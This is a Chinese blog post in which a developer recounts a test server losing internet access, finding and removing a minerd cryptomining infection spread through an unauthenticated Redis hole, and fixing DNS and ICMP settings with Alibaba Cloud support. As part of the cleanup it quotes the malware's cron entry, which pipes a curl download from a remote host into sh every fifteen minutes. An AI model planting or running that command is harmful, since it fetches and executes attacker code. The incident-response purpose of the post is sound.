剑客
关注科技互联网

服务器 ping 不通外网以及对 minerd 恶意挖矿进程的处理

由于 G20 很多公司都要在九月1号到7号放假,这多出来的休息时间当然是要靠调休调回来的,所以今天作为周日,也是上班。

本以为是平平常常的一天,但是在我像日常一样的时候,发现没有权限了,拖不下代码了,我还特别纳闷,周五都好好的,怎么一两天过去了咋都变了呢?

提示没有权限,首先想到的是 home 目录下的 .ssh/id_rsa.pub.ssh/id_rsa 文件是否被修改了。因为不止我一个人有权限操作,首先想到的就是这个了。由于先前将该文件备份过,所以对比了下,发现并没有改变啊,并且看文件的更新时间,还是很久以前,我就越发奇怪了。

重新生成 SSH KEY

文件又没有被改动过,说明服务器上的是正常的,那会不会是代码托管服务出问题了?然后查了查资料,发现的确有人遇到这种问题,公钥明明已经添加在白名单中了,但是在提交代码的时候还是提示没有权限,所以我在想是不是代码托管服务器把我的公钥弄丢了。(虽然不大可能,但是还是抱有这样的心理),于是重新生成了一份 SSH KEY ,生成步骤如下:

  1. 查看是否已经存在 ssh key:
    • cd ~/.ssh 如果已经生成过的话,则会存在该目录
    • rm -rf ~/.ssh 如果存在的话,则删除
  2. 设置 Gitusernameemail :
    • git config --global user.name "adobe1874"
    • git config --global user.email "adobe1874@126.com" 注:这里填的是在代码托管服务平台注册的邮箱
    • ssh-keygen -t rsa -C "adobe1874@126.com" 生成 SSH KEY
    • 连按几个回车键,然后 ls ~/.ssh ,会发现在 ssh 目录下,会有 id_rsa 和 id_rsa.pub 文件
    • cat id_rsa.pub 将其内容添加到代码托管服务平台的项目公钥列表中。
  3. 做好以上几步工作,就可以使用 Git 的相关功能了。比如 git clone ,git pull,git push 等。

git 操作依然失效

但是我错了!Too Young Too Simple.

重新配置了 id_rsa.pub 后,再去操作 git pull,依然提示我没有权限。这时候我去 ~/.ssh 文件夹下,发现了多了个 authotrized_keys ,并且还有个 KHK75NEOiq 文件,但是当时并没有在意具体是什么。一心想着是不是 Coding(使用的项目托管服务) 那边出问题了,还私信了他们的工作人员,但是可能由于是周日,也没人回复。

ping 失效

等等,我好像发现了个了不起的事情。

不能干等着别人的回复啊,于是趁这段时间想给服务器安装个 TLDR (Too Long Don’t Read) 工具,之前一直在自己的电脑上使用,感觉很好用,所以也打算在服务器上安装个。

服务器 ping 不通外网以及对 minerd 恶意挖矿进程的处理

详细介绍见 有了 tldr,妈妈再也不用担心我记不住命令了

但是发现迟迟更新不下来啊,等啊等啊,还是不行,这时候我想差不多是网络有问题。

但是我踏马也只是想想。

“少年,你 ping 一下外网。”知道了我的问题后,一个朋友对我说。我很惭愧,我怎么没想到呢?

ping www.baidu.com

十几秒后,服务器返回

ping:unknown host www.baidu.com

What The Fuck!

ping 8.8.8.8

返回结果一样是 unknown host ,很是疑惑,前两天一切都好好的,怎么了这是!于是上网查资料,找到文章 linux系统:”ping: unknown host www.baidu.com” ,按照文章的步骤,发现最后依然不凑效。

万般无奈之下,提交了个工单给阿里的售后运维人员。

异常进程

“您好,我的服务器 ping 不了外网了,您能帮忙看看吗?”

几分钟后,阿里运维人员就回复我了,不看不要紧,一看吓一跳

服务器 ping 不通外网以及对 minerd 恶意挖矿进程的处理

服务器的 CPU 一直处于 95%-100% 之间,阿里运维人员还给我提供了一个链接 Linux 异常进程 minerd 导致系统 CPU 跑满

上网查了下资料,发现这个是由于 Redis 漏洞引起的,是一个挖矿进程。

该漏洞介绍: Redis 未授权访问缺陷可轻易导致系统被黑 ,这里面说得很清楚。

处理 minerd

  • 阿里运维人员提供的处理方案 Linux 异常进程 minerd 导致系统 CPU 跑满
    1. top 查看系统运行状态,记下 minerd 进程的 PID
    2. ls -l /proc/$PID/exe 通过 pid 获取对于文件的路径
    3. 使用 kill 命令关闭进程
    4. 删除获取的对应的文件

该方案亲测不可行,在关闭 minerd 进程,并删除对应的文件后,大概 5-10 秒后,该进程及文件又重新生成。

  • 新的解决方案 关于服务被挖矿程序minerd入侵解决方法
    1. iptables -A INPUT -s xmr.crypto-pool.fr -j DROP iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP 在终端输入上面两行命令,关掉与挖矿相关的服务
    2. vim /var/spool/cron/root vim /var/spool/cron/crontabs/root 将两个 root 文件中定时脚本 */15 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0706 | sh 删除
    3. rm -rf /opt/minerd rm -rf /opt/KHK75NEOiq33 rm -rf /root/.ssh/KHK75NEOiq
    4. pkill minerd
    5. lady - service lady stop

可能该木马进行了升级,在处理第五步时,发现并没有注册 lady 服务。和第一种方案一样,即使删除了定时脚本,minerd 进程依然会自动启动。

该方案为最终解决方案,截止到目前为止,minerd 进程没有再次出现。

该博文作者还提供了几点不错的建议,欢迎大家去参考。

处理 ping 失效

解决了 minerd 恶意进程的问题后, ping 依然失效。

由于自己对于服务器运维经验匮乏,且查阅一些资料后,依然没有很好地解决该问题,所以最终还是麻烦阿里售后运维人员帮我解决。

在售后人员一个多小时的努力后,工单得到了回复,以下是回复内容:

您好,经过之前的分析检查,针对您的问题目前掌握信息与问题分析如下:

[当前排查进展]

问题原因已经排查清楚,由于您的服务器所属的安全组只放行了 TCP 的链接,同时您将系统中的 DNS 服务器设置为了 8.8.8.8 的公网地址,DNS 解析使用 UDP 协议,所以系统内无法解析域名,自然无法获取到信息。同样的,ping 使用 ICMP 协议,在安全组中也未放行,所以也是无法 ping 通外部站点的。

[下一步排查计划]

  1. 在安全组中放行 ICMP 协议

  2. 在安全组中放行 8.8.8.8 和 8.8.4.4 两个地址的 UDP 协议,或者将系统内 DNS 服务器改为 10.242.197.247 和 10.242.197.248 (阿里云内网 DNS)

由此可见,阿里运维人员的工作态度真的非常好,不仅跟你说明问题所在,还跟你说明为什么出现该问题及对应的解决方案。

不过关于 在安全组放行 ICMP 协议 ,我还有点不明白,虽然知道 ping 是使用该协议的,但是以前一直都是那么配置的,也是可以 ping 通的。

最终的解决方案,阿里云工单:

[ 问题现象 ]

服务器内无法访问外网

[ 解决方案 ]

我们在服务器内添加了内网的DNS,同时告知您在安全组中放行了ICMP协议,问题解决。

以下是我们在服务器内的具体修改:

vim /etc/resolv.conf 开头添加了以下两行:

nameserver 10.242.197.247 (阿里云内网 DNS )

nameserver 10.242.197.248 (阿里云内网 DNS )

写在最后

所幸这次问题出在测试服务器,如果出在生产环境的话,后果真的太严重了。

对于服务器运维的基本技能还是要多掌握,免得到时候出问题了手忙脚乱心慌慌。

另外遇到问题要冷静点,像我想到了可能没有网络,不能访问外网,但是却没想到去 ping 一下进行验证,哎,何其可悲。

感谢阿里云售后运维人员的耐心帮助,受我以鱼且受我以渔!

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址